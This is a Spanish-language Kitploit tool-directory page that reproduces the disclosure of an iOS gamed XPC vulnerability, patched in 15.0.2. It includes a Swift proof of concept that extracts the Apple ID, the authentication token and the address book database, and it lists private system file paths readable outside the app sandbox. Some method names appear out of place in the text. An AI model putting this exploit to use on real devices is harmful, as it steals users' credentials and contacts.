Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/illusionofchaos/ios-gamed-0day
Escalada de PrivilegiosSeguridad iOSAnálisis de VulnerabilidadesExplotaciónRecopilación de InformaciónSeguridad Móvil
GitHubillusionofchaos/ios-gamed-0day

ios-gamed-0day

Exploit de iOS gamed (corregido en 15.0.2)

Ver Repositorio
436814hace 4 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Sitio web

Exploit de gamed en iOS (corregido en 15.0.2)

Actualización: Apple ha corregido esto silenciosamente en iOS 15.0.2 sin ningún tipo de reconocimiento o crédito público.

Cualquier aplicación instalada desde App Store puede acceder a los siguientes datos sin que el usuario reciba ningún aviso:

  • Correo electrónico del Apple ID y nombre completo asociado a él
  • Token de autenticación del Apple ID que permite acceder al menos a uno de los endpoints en *.apple.com en nombre del usuario
  • Acceso de lectura completo al sistema de archivos de la base de datos de Core Duet (contiene una lista de contactos de Mail, SMS, iMessage, aplicaciones de mensajería de terceros y metadatos sobre toda la interacción del usuario con estos contactos (incluyendo marcas de tiempo y estadísticas), además de algunos adjuntos (como URLs y textos))
  • Acceso de lectura completo al sistema de archivos de la base de datos de marcación rápida y a la base de datos de la libreta de direcciones, incluyendo fotos de contactos y otros metadatos como las fechas de creación y modificación (acabo de comprobarlo en iOS 15 y este ya no es accesible, así que debe haberse corregido silenciosamente)

Aquí hay una breve prueba de concepto.

root@kitploit:~
let connection = NSXPCConnection(machServiceName: "com.apple.gamed", options: NSXPCConnection.Options.privileged)!
let proxy = connection.remoteObjectProxyWithErrorHandler({ _ in }) as! GKDaemonProtocol
let pid = ProcessInfo.processInfo.processIdentifier
proxy.getServicesForPID(pid, localPlayer: nil, reply: { (accountService, _, _, _, _, _, _, _, utilityService, _, _, _, _) in
	accountService.authenticatePlayerWithExistingCredentials(handler: { response, error in
		let appleID = response.credential.accountName
		let token = response.credential.authenticationToken
	}

	utilityService.requestImageData(for: URL(fileURLWithPath: "/var/mobile/Library/AddressBook/AddressBook.sqlitedb"), subdirectory: nil, fileName: nil, handler: { data in
		let addressBookData = data
	}
}

Cómo ocurre:

  • El servicio XPC com.apple.gamed no comprueba correctamente el entitlement com.apple.developer.game-center
  • Incluso si Game Center está desactivado en el dispositivo, invocar getServicesForPID:localPlayer:reply: devuelve varios objetos proxy XPC (GKAccountService, GKFriendService, GKUtilityService, etc.).
  • Si Game Center está activado en el dispositivo (aunque no esté activado para la aplicación en App Store Connect y la aplicación no contenga el entitlement com.apple.developer.game-center), invocar authenticatePlayerWithExistingCredentialsWithHandler: en GKAccountService devuelve un objeto que contiene el Apple ID del usuario, el DSID y el token de autenticación de Game Center (que permite enviar peticiones a https://gc.apple.com en nombre del usuario). Invocar getProfilesForPlayerIDs:handler: en GKProfileService devuelve un objeto que contiene el nombre y los apellidos del Apple ID del usuario. Invocar en devuelve un objeto con información sobre el amigo del usuario en Game Center.

En la página del Programa de Recompensas de Seguridad de Apple esta vulnerabilidad está evaluada en $100,000 (Acceso amplio de la aplicación a datos sensibles normalmente protegidos por un aviso de TCC o el sandbox de la plataforma. El acceso a “datos sensibles” incluye obtener un acceso amplio (es decir, la base de datos completa) a los Contactos).

Descargar herramienta
getFriendsForPlayer:handler:
GKFriendService
  • Incluso si Game Center está desactivado, no está activado para la aplicación en App Store Connect y la aplicación no contiene el entitlement com.apple.developer.game-center, invocar requestImageDataForURL:subdirectory:fileName:handler: en GKUtilityService permite leer archivos arbitrarios fuera del sandbox de la aplicación pasando URLs de archivos a ese método. Entre los archivos (aunque no limitándose a ellos) a los que se puede acceder de esta manera se encuentran los siguientes: /var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library/Caches/com.apple.MobileGestalt.plist - contiene la caché de MobileGestalt /var/mobile/Library/CoreDuet/People/interactionC.db - contiene una lista de contactos de Mail, SMS, iMessage, aplicaciones de mensajería de terceros y metadatos sobre la interacción del usuario con estos contactos (incluyendo marcas de tiempo y estadísticas) /var/mobile/Library/Preferences/com.apple.mobilephone.speeddial.plist - contiene los contactos favoritos y sus números de teléfono /var/mobile/Library/AddressBook/AddressBook.sqlitedb - contiene la base de datos completa de la libreta de direcciones /var/mobile/Library/AddressBook/AddressBookImages.sqlitedb - contiene las fotos de los contactos de la libreta de direcciones
  • Invocar cacheImageData:inSubdirectory:withFileName:handler: en GKUtilityService podría permitir escribir datos arbitrarios en una ubicación fuera del sandbox de la aplicación.